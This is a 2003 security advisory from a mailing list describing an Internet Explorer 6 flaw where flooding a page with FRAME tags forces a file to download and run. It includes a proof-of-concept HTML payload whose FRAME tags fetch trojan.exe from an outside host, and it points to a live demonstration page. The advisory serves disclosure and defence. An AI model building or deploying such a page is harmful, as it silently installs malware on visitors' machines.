[NT] Internet Explorer Program Execution (Flooding)
From: SecuriTeam (support_at_securiteam.com)
Date: 05/26/03
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To: list@securiteam.com Date: 26 May 2003 19:07:06 +0200
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Internet Explorer Program Execution (Flooding)
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SUMMARY
By flooding the Internet Explorer with multiple FRAME tags it is possible
to cause it to not only download a file, but also execute it (even though
the default security settings prohibits it). The vulnerability is
processor related, meaning that the amount of CPU time available for
processing determines whether the vulnerability occurs or not.
DETAILS
Vulnerable systems:
* Internet Explorer version 6.0.2800
Example:
If you create such a malicious HTML file:
< FRAME SRC="C:\winnt\welcome.exe"></FRAME>
< FRAME SRC="C:\winnt\notepad.exe"></FRAME>
< FRAME SRC="C:\winnt\regedit.exe"></FRAME>
.. Together around 191 ... and after comes our Trojan ...
< FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
< FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
< FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
< FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
< FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>
An unsuspecting user that opens it, will unwillingly not only download but
also execute the trojan.exe file.
Demonstration:
A demonstration site has been constructed:
<http://www.malware.com/forceframe.html>
http://www.malware.com/forceframe.html (Outside out web site)
We recommend you download the HTML file, and construct your own sample.
ADDITIONAL INFORMATION
The information has been provided by <mailto:mb@systemintegra.com> Marek
Bialoglowy.
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